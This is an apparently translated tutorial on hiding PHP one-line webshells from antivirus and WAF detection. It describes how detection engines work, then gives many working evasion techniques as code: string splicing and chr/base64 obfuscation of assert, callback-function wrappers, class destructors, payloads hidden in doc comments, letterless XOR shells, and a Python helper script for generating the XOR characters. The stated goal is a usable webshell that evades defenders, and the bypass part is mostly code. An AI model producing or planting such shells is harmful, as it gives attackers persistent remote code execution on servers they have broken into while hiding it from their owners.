preface
When using webshell, killing free is something to consider. To put it bluntly, my webshell has to be usable! Therefore, this article does a webshell free learning, which is mainly a sentence of php
1, About webshell
The so-called web shell is to send a file written by malicious code (i.e. shell) to the server. The client connects to the server through a remote connection and uses the shell to operate the server. So it's actually two steps:
- Data transmission
- Execute the passed data
1. Data transmission
(1) Get data from HTTP request
$_GET,$_POST,$_COOKIES,$_FILE...
Any location in the HTTP package can be used as the transmission medium of the payload
(2) Get data from remote URL
file_get_contents,curl,svn_checkout...
Put the instruction data to be executed in the remote URL through the URL_INCLUDE to read
(3) Get data from disk file
file,file_get_contents...
Put the instruction data to be executed in the disk file and use the IO function to read it
(4) Read from database
Put the instructions to be executed in the database and use the database function to read them
(5) Get from picture header
exif_read_data...
Put the instruction data to be executed in the picture header and use the picture operation function to read it
2. Code execution
(1) Common command execution functions
eval,system,assert,exec,shell_exec...
The most common and standard code execution
(2)LFI
include,require...
The pseudo protocol of the browser is used to convert the file content into code execution
(3) Dynamic function execution
$()...
Dynamic function features of PHP
(4)Curly Syntax
${${...}}...
This idea can turn the vulnerability of variable assignment into an opportunity for code execution
3. In a word
The most common are eval and assert:
- eval: PHP 4, PHP 5 and PHP 7 + are all available. Accept a parameter and execute the string as PHP code (it must meet the requirements of PHP code)
- Assert: PHP 4, PHP 5 and PHP 7.2 are available. Generally, one parameter is accepted. After php 5.4.8, two parameters can be accepted. In php5, assert is a function. We can use $f ='assert '$ f(...); Such a method to dynamically execute arbitrary code; In php7, assert is no longer a function, but a language structure (similar to eval). It can no longer execute code dynamically as a function name
<?php eval(@$_POST['a']); ?> <?php assert(@$_POST['a']); ?>
Some common methods:
- Command execution class: through eval, assert, system and create_function and other functions to execute commands
- Dynamic construct class: invoke execution command in php supported dynamic constructor.
- preg class: regular series of functions can execute commands using the / e pattern
- Callback function class: Webshell constructed by callback function, covering all callable type parameters
- Reflection function class: use classes such as ReflectionFunction and corresponding invoke methods to execute commands
2, About WAF
To avoid killing, of course, we must first understand who is killing, mainly D shield, safety dog, guardian God, etc. there are other anti-virus software such as tinder and 360
The detection ideas are as follows:
- Analyze statistical content: it can be combined with blacklist or other feature lists, such as hash feature list of code fragments. Then, the WebShell is found by statistical methods such as file information entropy, metacharacter and special string frequency
- Semantic analysis: convert the code into AST syntax tree, and then debug and trace some functions. Those confused or deformed webshell can basically be detected. Code audits often use this method
- Machine learning: this method requires a large number of sample data. Through some learning models, summarize and classify the feature library of Web shell, and finally detect web shell
- Dynamic monitoring: RASP mode is adopted. Once a script is detected to run, monitor some dangerous functions inside or called hook. Once there is a script, the calling process will be stopped immediately. This blocking effect is real-time. This method should be the best, but the cost is also very high.
1. Detection based on traffic and character characteristics
Since it is a character feature, the first is the detection of some danger functions (those mentioned above):
- System: the system() function takes the command as an argument and outputs the result
- Exec: the exec () function takes the command as a parameter, but does not output the result. If the second optional parameter is specified, the returned result is an array. Otherwise, if echoed, only the last line of the result is displayed
- shell_ exec : shell_ The exec() function is similar to exec(), but its entire output is a string
- Passthru: passthru () executes a command and returns the output in its original format
- proc_ open : proc_ The open () function can be difficult to understand. Simply put, we can use proc_open() creates a handler (process) to communicate between the script and the program to run
- Inverted quotation marks: many PHP developers are not aware of this, but PHP will first execute the contents within the inverted quotation marks in the shell command
- And popen, curl_exec,curl_multi_exec,parse_ini_file,show_source et al
Then detect special characters in the return package: root or some other sensitive string passwd, etc
2. Based on file characteristics
The matching mainly based on HASH depends on the capture ability of samples and the number of feature lists, or there will be underreporting.
Here, the uploaded files will be segmented, and then each segment will be hashed. After obtaining the hash values of all segments, it will be compared with the previous feature list library. If it meets the requirements of a certain similarity, the file is considered as a webshell.
3. Semantic analysis based on AST
In order to make up for the lack of statistical features and further deepen, syntax detection is carried out, focusing on each function and parameter. This method is accurate and has less false positives. However, for PHP, a language with many dynamic features, it is difficult to detect, and AST cannot understand the semantics.
In fact, this part is a bit similar to code audit. The core problem is to find those suspicious functions. Experienced security personnel may have a table in their mind, which is filled with various functions, which is a bit similar to blacklist. When finding the code of function call, if the function name is found in the blacklist, it is considered as a "sensitive" function, and then perform subsequent judgment; If the function name is not in the blacklist, the subsequent judgment does not need to continue. But the list must be large and comprehensive, and many special circumstances must be considered.
4. Dynamic / static symbol execution
In fact, it is to find controllable variables that are not filtered or incompletely filtered. Once there is code logic that users can control, the risk factor is very high.
5. Machine learning
This requires a large number of webshell sample training. At present, the effect may not be very good. Some algorithms have poor interpretability, which is not conducive to operation. And there are a lot of false positives.
6. Ultimate detection engine Rasp
In 2014, Gartner introduced the term "runtime application self protection", abbreviated as RASP. It is a new application security protection technology. It injects the protection program into the application program like a vaccine. The application program is integrated, which can detect and block the security attack in real time, so that the application program has the ability of self-protection. When the application program is injured by the actual attack, it can automatically defend it without manual intervention.
RASP technology can quickly integrate the security defense function into the running application. It intercepts all calls from the application to the system, ensures that they are secure, and directly verifies data requests in the application. Both Web and non Web applications can be protected through RASP. This technology will not affect the design of the application, because the detection and protection functions of RASP run on the system on which the application runs.
3, No killing idea
Here are some ideas for avoiding killing, but in fact, it needs a combination of many ideas, and the methods are always more difficult than difficulties
1. String transformation
The keywords are spliced and converted to bypass the detection of keywords
Some available methods are:
ucwords() //The function converts the first character of each word in a string to uppercase. ucfirst() //The function converts the first character in a string to uppercase. trim() //Function removes white space characters and other predefined characters from both ends of a string. substr_replace() //Function replaces a part of a string with another string substr() //Function returns a portion of a string. strtr() //Function to convert a specific character in a string. strtoupper() //The function converts a string to uppercase. strtolower() //The function converts a string to lowercase. strtok() //The function splits a string into smaller strings str_rot13() //The function performs ROT13 encoding on a string.
Since eval is a language constructor rather than a function, it cannot be called by a variable function and is generally executed by splicing assert; Since assert cannot be used in this way after php7.1, this kind of killing free method can only be used in php5 environment
Several examples:
<?php $a="a"; $b="sse"; $c="00"; $d= substr_replace($a.$b.$c,"rt",4); $d($_POST['a']; ?>
<?php $a = substr_replace("xxser","asser",-3); $aa = array('',$a); $b = $aa[1].chr('116'); $fun=preg_replace("/xx/","",$b); $cc = substr_replace("",$fun,0); $cc($_POST['x']); ?>
2. Code bypass
Coding is also a way to replace sensitive fields. base64, ascii and other methods are generally used
-
ascii
<?php $a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);#assert $a($_POST['a']; ?>
-
base64
<?php $a = base64_decode("YX__Nz_ZX____J0"); $a($_POST[x]); ?>
However, common encoding and encryption are put into the list, so you can consider base encoding such as base32 and base58, or custom ascii shift, or even symmetric encryption algorithm
3. Custom function
Execute assert, eval, etc. in a user-defined function, or input in the function$_ POST ,$_ GET, etc
But this method is not effective and can be combined with other methods
for instance:
<?php function zeo($b){ return $b; } function ass($a){ return eval($a); } function post(){ return $_POST['x']; } function run(){ return zeo(ass)(zeo(post)()); } zeo(ass)(zeo(post)()); ?>
4. Callback function
Callback functions have the following functions, most of which have been hacked... You'll die if you use it alone:
call_user_func_array() call_user_func() array_filter() array_walk() array_map() array_reduce() array_walk() array_walk_recursive() filter_var() filter_var_array() uasort() uksort() registregister_shutdown_function() register_tick_function() forward_static_call_array(assert,array($_POST[x]));
Give a few examples (just examples, basically blackened):
-
array_map
<?php function username() { $a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);#assert return ''.$a; } $user = username(); $pass =array($_GET['password']); array_map($user,$user = $pass ); ?>
-
call_user_func_array
<?php $a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6); call_user_func_array($a, array($_GET['a'])); ?>
-
Define a function plus a simple splice
<?php function zeo($c,$d){ pj()($c,$d); } function pj(){ return "register_shut"."down_function"; } $b=$_POST['x']; zeo(assert,$b); ?>
5. Array
Put the execution code in the array and cooperate with other bypass methods to still be effective
For example:
- one-dimensional
<?php $a = substr_replace("asse00","rt",4); $b=array($array=array(''=>$a($_GET['x']))); var_dump($b); ?>
- two-dimensional
<?php $b = substr_replace("assexx","rt",4); $a = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['x']))))); ?>
6. Variable variable
Variable variable means that the value of an ordinary variable can be used as the name of another variable, as follows:
$a = 'hello'; $$a = 'world'; echo $hello; # The output is world
- The first line is a common variable definition. The variable name is a and the variable value is hello
- The second line uses the value of variable a to define a variable. The name of this variable is hello (that is, the value of a), and the value is world
- After outputting this variable, the result is: world
for instance:
<?php $zeo='dalao'; $$zeo=$_POST['x']; eval($dalao); ?>
7. Class
This seems very popular. It's mainly magic
For example:
<?php class Student { public $_1=''; function __destruct(){ assert("$this->a"); } } $_2 = new Student; $_2->$_1 = $_POST['a']; ?>
<?php class zeo2 { public $b =''; function post(){ return $_POST['x']; } } class zeo extends zeo2 { public $code=null; function __construct(){ $code=parent::post(); assert($code); } } $blll = new zeo; $bzzz = new zeo2; ?>
8. Special character interference
It mainly interferes with the regular judgment of killing software, and the code can be executed. You can fuzz by yourself, which means all kinds of carriage return, line feed, null and white space characters
for instance:
<?php $zeo='dalao'; $$zeo=$_POST['x']; eval(``.$dalao); ?>
9. Annotation acquisition
ReflectionClass::getDocComment can get document comments
Some security software will ignore the code in the comment, so this method is to write the malicious code into the comment, and then extract it for execution through the getDocComment method of ReflectionClass. However, eval or assert may also exist in the non comment content, which may be reported as low-level suspicious
for instance:
<?php /** * assert($_GET[1+0]); */ class User { } $user = new ReflectionClass('User'); $comment = $user->getDocComment(); $d = substr($comment , 14 , 20); assert($d); ?>
10. No letters
Using various operations, such as XOR, assemble the desired function, and finally construct any character in a-z. Then, using the feature that PHP allows dynamic function execution, splice a function name, such as "assert", and then execute it dynamically
See: Some web shells that do not contain numbers or letters
for instance:
<?php @$_++; $__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/"); $___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|"); ('%05'^'`') # "^" is an XOR operator. In PHP, when two variables are XOR, the string will be converted into binary, and then XOR operation will be carried out. After XOR operation, the result will be converted from binary to string. ${$__}[!$_](${$___}[$_]); ?>
Master Guoguang wrote a script:
import string from urllib.parse import quote keys = list(range(65)) + list(range(91,97)) + list(range(123,127)) results = [] for i in keys: for j in keys: asscii_number = i^j if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122): if i < 32 and j < 32: temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) elif i < 32 and j >=32: temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) elif i >= 32 and j < 32: temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) else: temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) results.sort(key=lambda x:x[1], reverse=False) for low_case in string.ascii_lowercase: for result in results: if low_case in result: print(result[0]) for upper_case in string.ascii_uppercase: for result in results: if upper_case in result: print(result[0])
11. Get keywords using POST package
<?php $decrpt = $_POST['x']; $decrps = $_POST['y']; $arrs = explode("|", $decrpt)[1]; $arrs = explode("|", base64_decode($arrs)); $arrt = explode("|", $decrps)[1]; $arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]); ?>
12. Get the defined function
public ReflectionClass::getConstants(void) : array
Gets all the defined constants of a class, regardless of how visibility is defined
class Test { const a = 'As'; const b = 'se'; const c = 'rt'; public function __construct() { } } $para1; $para2; $reflector = new ReflectionClass('Test'); for ($i=97; $i <= 99; $i++) { $para1 = $reflector->getConstant(chr($i)); $para2.=$para1; } foreach (array('_POST','_GET') as $_request) { foreach ($$_request as $_key=>$_value) { $$_key= $_value; } } $para2($_value);
4, Other
1. PHP7.1 dilemma
After php7.1, we can no longer use the powerful assert function. waf can effectively block the webshell by blocking the function, while eval is not as flexible as assert.
Later, you may be more inclined to use Malaysia or memory horse
2. Some tools
https://github.com/pureqh/webshell
3. Some thinking
(1) Consider the features of different versions of php
For example:
mb_ereg_replace,mb_eregi_replacez these two alias functions exist: mbereg_replace,mbereg_ireplace
But this alias was removed in 7.3. preg_ The / e mode of replace was also removed in version 7.
(2) Flexible use of php syntax features
From XOR, callback function, character encoding, including call, character splicing. In fact, many of these have been included by d shield software.
What we need to do is constantly deform, including the XOR and class destructors used by venom. Although they have been killed, we successfully bypass the detection by using static functions. Static functions call ordinary functions, or ordinary functions call static functions. And the inheritance mechanism of classes can be considered
(3) Good at using special symbols
Here's what p God said:
eval<char>('phpinfo')
Add special characters
[\x00-\x20]
php may ignore these control characters when parsing, but some semantic analysis detection engines cannot correctly recognize these special characters, resulting in bypassing.
(4) Then there are some ideas for opening brain holes
For example, can we hide webshell in multiple normal php files to form a call chain? Of course, this form has jumped out of the upload scenario and is more inclined to permission maintenance
We can also hide webshell in php extensions to bypass some scenarios that restrict the execution of sensitive functions (in fact, many bosses have done this idea)
There is also the use of other languages and some features of linux and windows
epilogue
I have learned from webshell's exemption from killing, which is a direction of continuous game and progress